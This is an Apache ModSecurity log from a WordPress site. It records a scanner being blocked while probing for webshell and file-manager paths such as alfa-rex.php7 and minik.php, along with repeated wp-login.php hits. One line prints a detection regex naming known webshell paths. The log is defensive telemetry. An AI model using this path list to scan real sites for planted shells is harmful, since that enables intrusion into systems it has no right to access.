[Mon Mar 02 10:49:43.982927 2026] [:error] [pid 31257:tid 31277] [client 20.104.206.150:46748] [client 20.104.206.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/he.php"] [unique_id "aaT6x_-JFLfishX45N85SwAAAQ4"]
[Mon Mar 02 10:49:44.417853 2026] [:error] [pid 28794:tid 28857] [client 20.104.206.150:48699] [client 20.104.206.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/he.php"] [unique_id "aaT6yKVy2qpaelbUob13XAAAAFU"]
[Mon Mar 02 10:49:44.851182 2026] [:error] [pid 28795:tid 28863] [client 20.104.206.150:42748] [client 20.104.206.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/cache.php"] [unique_id "aaT6yLROd53wZBkdI_euYQAAAIA"]
[Mon Mar 02 10:49:45.281133 2026] [:error] [pid 23872:tid 23894] [client 20.104.206.150:48676] [client 20.104.206.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/cache.php"] [unique_id "aaT6yUzkQFuA2qBk8UPE7QAAAZM"]
[Mon Mar 02 10:49:45.754358 2026] [:error] [pid 21575:tid 21597] [client 20.104.206.150:50136] [client 20.104.206.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/cache.php"] [unique_id "aaT6ySrocdArcJqFfIm8kQAAAVI"]
[Mon Mar 02 10:49:46.214517 2026] [:error] [pid 21575:tid 21595] [client 20.104.206.150:48673] [client 20.104.206.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/cache.php"] [unique_id "aaT6yirocdArcJqFfIm8kwAAAVA"]
[Mon Mar 02 10:49:46.649955 2026] [:error] [pid 23872:tid 23875] [client 20.104.206.150:48675] [client 20.104.206.150] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "vetstars.com.au"] [uri "/tiny.php"] [unique_id "aaT6ykzkQFuA2qBk8UPE8wAAAYA"]
[Mon Mar 02 10:49:47.081504 2026] [:error] [pid 21575:tid 21601] [client 20.104.206.150:54305] [client 20.104.206.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-load.php"] [unique_id "aaT6yyrocdArcJqFfIm8mgAAAVY"]
[Mon Mar 02 10:49:47.497477 2026] [:error] [pid 31257:tid 31267] [client 20.104.206.150:52465] [client 20.104.206.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-load.php"] [unique_id "aaT6y_-JFLfishX45N85VwAAAQQ"]
[Mon Mar 02 10:49:47.720499 2026] [:error] [pid 23872:tid 23897] [client 91.92.242.216:62131] [client 91.92.242.216] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 91.92.242.216, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aaT6y0zkQFuA2qBk8UPE-QAAAZY"], referer: https://vetstars.com.au/wp-login.php
[Mon Mar 02 10:49:47.912186 2026] [:error] [pid 23872:tid 23899] [client 20.104.206.150:54295] [client 20.104.206.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-load.php"] [unique_id "aaT6y0zkQFuA2qBk8UPE-wAAAZg"]
[Mon Mar 02 10:49:48.333056 2026] [:error] [pid 31257:tid 31266] [client 20.104.206.150:48671] [client 20.104.206.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-load.php"] [unique_id "aaT6zP-JFLfishX45N85WwAAAQM"]
[Mon Mar 02 10:49:48.787973 2026] [:error] [pid 28794:tid 28844] [client 20.104.206.150:48640] [client 20.104.206.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/blog.php"] [unique_id "aaT6zKVy2qpaelbUob13YQAAAEg"]
[Mon Mar 02 10:49:49.204400 2026] [:error] [pid 31257:tid 31287] [client 20.104.206.150:50149] [client 20.104.206.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/blog.php"] [unique_id "aaT6zf-JFLfishX45N85XgAAARg"]
[Mon Mar 02 10:49:49.618131 2026] [:error] [pid 28795:tid 28887] [client 20.104.206.150:42703] [client 20.104.206.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/blog.php"] [unique_id "aaT6zbROd53wZBkdI_euZAAAAJg"]
[Mon Mar 02 10:49:50.028452 2026] [:error] [pid 28795:tid 28886] [client 20.104.206.150:52429] [client 20.104.206.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/blog.php"] [unique_id "aaT6zrROd53wZBkdI_euZwAAAJc"]
[Mon Mar 02 10:49:50.438692 2026] [:error] [pid 28795:tid 28873] [client 20.104.206.150:48651] [client 20.104.206.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/alfanew.php7"] [unique_id "aaT6zrROd53wZBkdI_euaAAAAIo"]
[Mon Mar 02 10:49:50.854107 2026] [:error] [pid 28794:tid 28836] [client 20.104.206.150:48645] [client 20.104.206.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/alfanew.php7"] [unique_id "aaT6zqVy2qpaelbUob13ZAAAAEA"]
[Mon Mar 02 10:49:51.282377 2026] [:error] [pid 28795:tid 28863] [client 20.104.206.150:50140] [client 20.104.206.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/alfanew.php7"] [unique_id "aaT6z7ROd53wZBkdI_eubQAAAIA"]
[Mon Mar 02 10:49:51.696280 2026] [:error] [pid 21575:tid 21602] [client 20.104.206.150:48645] [client 20.104.206.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/alfanew.php7"] [unique_id "aaT6zyrocdArcJqFfIm8tAAAAVc"]
[Mon Mar 02 10:49:52.132598 2026] [:error] [pid 21575:tid 21584] [client 20.104.206.150:23365] [client 20.104.206.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/lufix.php"] [unique_id "aaT60CrocdArcJqFfIm8uQAAAUU"]
[Mon Mar 02 10:49:52.574800 2026] [:error] [pid 21575:tid 21591] [client 20.104.206.150:48649] [client 20.104.206.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/lufix.php"] [unique_id "aaT60CrocdArcJqFfIm8wAAAAUw"]
[Mon Mar 02 10:49:53.060770 2026] [:error] [pid 28908:tid 28930] [client 20.104.206.150:23373] [client 20.104.206.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/lufix.php"] [unique_id "aaT60YqJmC8ih_lQQnAJ-AAAANQ"]
[Mon Mar 02 10:49:53.478198 2026] [:error] [pid 31257:tid 31269] [client 20.104.206.150:50114] [client 20.104.206.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/lufix.php"] [unique_id "aaT60f-JFLfishX45N85awAAAQY"]
[Mon Mar 02 10:49:53.956671 2026] [:error] [pid 31257:tid 31277] [client 20.104.206.150:54312] [client 20.104.206.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ajax-actions.php"] [unique_id "aaT60f-JFLfishX45N85bwAAAQ4"]
[Mon Mar 02 10:49:54.386810 2026] [:error] [pid 31257:tid 31287] [client 20.104.206.150:50172] [client 20.104.206.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ajax-actions.php"] [unique_id "aaT60v-JFLfishX45N85dQAAARg"]
[Mon Mar 02 10:49:54.846702 2026] [:error] [pid 23872:tid 23889] [client 20.104.206.150:42729] [client 20.104.206.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ajax-actions.php"] [unique_id "aaT60kzkQFuA2qBk8UPFDwAAAY4"]
[Mon Mar 02 10:49:55.287619 2026] [:error] [pid 31257:tid 31281] [client 20.104.206.150:48642] [client 20.104.206.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ajax-actions.php"] [unique_id "aaT60_-JFLfishX45N85egAAARI"]
[Mon Mar 02 10:49:55.714185 2026] [:error] [pid 31257:tid 31272] [client 20.104.206.150:23372] [client 20.104.206.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/alfa-rex.php7"] [unique_id "aaT60_-JFLfishX45N85fgAAAQk"]
[Mon Mar 02 10:49:56.169037 2026] [:error] [pid 28908:tid 28916] [client 20.104.206.150:48656] [client 20.104.206.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/alfa-rex.php7"] [unique_id "aaT61IqJmC8ih_lQQnAJ-wAAAMY"]
[Mon Mar 02 10:49:56.603352 2026] [:error] [pid 28794:tid 28851] [client 20.104.206.150:42741] [client 20.104.206.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/alfa-rex.php7"] [unique_id "aaT61KVy2qpaelbUob13ZwAAAE8"]
[Mon Mar 02 10:49:57.059948 2026] [:error] [pid 21575:tid 21582] [client 20.104.206.150:54329] [client 20.104.206.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/alfa-rex.php7"] [unique_id "aaT61SrocdArcJqFfIm82gAAAUM"]
[Mon Mar 02 10:49:57.498351 2026] [:error] [pid 28795:tid 28877] [client 20.104.206.150:54328] [client 20.104.206.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/cc.php"] [unique_id "aaT61bROd53wZBkdI_eucgAAAI4"]
[Mon Mar 02 10:49:57.917688 2026] [:error] [pid 21575:tid 21583] [client 20.104.206.150:42731] [client 20.104.206.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/cc.php"] [unique_id "aaT61SrocdArcJqFfIm84gAAAUQ"]
[Mon Mar 02 10:49:58.466903 2026] [:error] [pid 31257:tid 31275] [client 20.104.206.150:48751] [client 20.104.206.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/cc.php"] [unique_id "aaT61v-JFLfishX45N85fwAAAQw"]
[Mon Mar 02 10:49:58.919418 2026] [:error] [pid 21575:tid 21596] [client 20.104.206.150:42721] [client 20.104.206.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/cc.php"] [unique_id "aaT61irocdArcJqFfIm85AAAAVE"]
[Mon Mar 02 10:49:59.402116 2026] [:error] [pid 21575:tid 21586] [client 20.104.206.150:42714] [client 20.104.206.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/bypass.php"] [unique_id "aaT61yrocdArcJqFfIm86AAAAUc"]
[Mon Mar 02 10:49:59.866587 2026] [:error] [pid 21575:tid 21581] [client 20.104.206.150:50146] [client 20.104.206.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/bypass.php"] [unique_id "aaT61yrocdArcJqFfIm87QAAAUI"]
[Mon Mar 02 10:50:00.310560 2026] [:error] [pid 28795:tid 28866] [client 20.104.206.150:54299] [client 20.104.206.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/bypass.php"] [unique_id "aaT62LROd53wZBkdI_euewAAAIM"]
[Mon Mar 02 10:50:00.756488 2026] [:error] [pid 21575:tid 21598] [client 20.104.206.150:48682] [client 20.104.206.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/bypass.php"] [unique_id "aaT62CrocdArcJqFfIm89AAAAVM"]
[Mon Mar 02 10:50:01.235750 2026] [:error] [pid 28794:tid 28854] [client 20.104.206.150:54293] [client 20.104.206.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/browse.php"] [unique_id "aaT62aVy2qpaelbUob13bwAAAFI"]
[Mon Mar 02 10:50:01.654712 2026] [:error] [pid 23872:tid 23888] [client 20.104.206.150:48664] [client 20.104.206.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/browse.php"] [unique_id "aaT62UzkQFuA2qBk8UPFGAAAAY0"]
[Mon Mar 02 10:50:02.070972 2026] [:error] [pid 31257:tid 31264] [client 20.104.206.150:50113] [client 20.104.206.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/browse.php"] [unique_id "aaT62v-JFLfishX45N85hQAAAQE"]
[Mon Mar 02 10:50:02.491153 2026] [:error] [pid 31257:tid 31270] [client 20.104.206.150:42727] [client 20.104.206.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/browse.php"] [unique_id "aaT62v-JFLfishX45N85iAAAAQc"]
[Mon Mar 02 10:50:02.919697 2026] [:error] [pid 31257:tid 31287] [client 20.104.206.150:54330] [client 20.104.206.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/license.php"] [unique_id "aaT62v-JFLfishX45N85jAAAARg"]
[Mon Mar 02 10:50:03.332693 2026] [:error] [pid 31257:tid 31284] [client 20.104.206.150:48749] [client 20.104.206.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/license.php"] [unique_id "aaT62_-JFLfishX45N85kQAAARU"]
[Mon Mar 02 10:50:03.756470 2026] [:error] [pid 28908:tid 28931] [client 20.104.206.150:48674] [client 20.104.206.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/license.php"] [unique_id "aaT624qJmC8ih_lQQnAKCAAAANU"]
[Mon Mar 02 10:50:03.940268 2026] [:error] [pid 31257:tid 31276] [client 91.92.242.216:62377] [client 91.92.242.216] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 91.92.242.216, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aaT62_-JFLfishX45N85kwAAAQ0"], referer: https://vetstars.com.au/wp-login.php
[Mon Mar 02 10:50:04.185184 2026] [:error] [pid 21575:tid 21584] [client 20.104.206.150:54288] [client 20.104.206.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/license.php"] [unique_id "aaT63CrocdArcJqFfIm8-QAAAUU"]
[Mon Mar 02 10:50:04.599673 2026] [:error] [pid 31257:tid 31273] [client 20.104.206.150:54310] [client 20.104.206.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/contact.php"] [unique_id "aaT63P-JFLfishX45N85lQAAAQo"]
[Mon Mar 02 10:50:05.024206 2026] [:error] [pid 31257:tid 31266] [client 20.104.206.150:50154] [client 20.104.206.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/contact.php"] [unique_id "aaT63f-JFLfishX45N85mgAAAQM"]
[Mon Mar 02 10:50:05.448423 2026] [:error] [pid 31257:tid 31265] [client 20.104.206.150:52460] [client 20.104.206.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/contact.php"] [unique_id "aaT63f-JFLfishX45N85oAAAAQI"]
[Mon Mar 02 10:50:05.864115 2026] [:error] [pid 31257:tid 31263] [client 20.104.206.150:42735] [client 20.104.206.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/contact.php"] [unique_id "aaT63f-JFLfishX45N85owAAAQA"]
[Mon Mar 02 10:50:06.297125 2026] [:error] [pid 31257:tid 31281] [client 20.104.206.150:46746] [client 20.104.206.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/minik.php"] [unique_id "aaT63v-JFLfishX45N85pgAAARI"]
[Mon Mar 02 10:50:06.724028 2026] [:error] [pid 31257:tid 31266] [client 20.104.206.150:48708] [client 20.104.206.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/minik.php"] [unique_id "aaT63v-JFLfishX45N85qgAAAQM"]
[Mon Mar 02 10:50:07.174927 2026] [:error] [pid 28795:tid 28874] [client 20.104.206.150:54317] [client 20.104.206.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/minik.php"] [unique_id "aaT637ROd53wZBkdI_euhQAAAIs"]
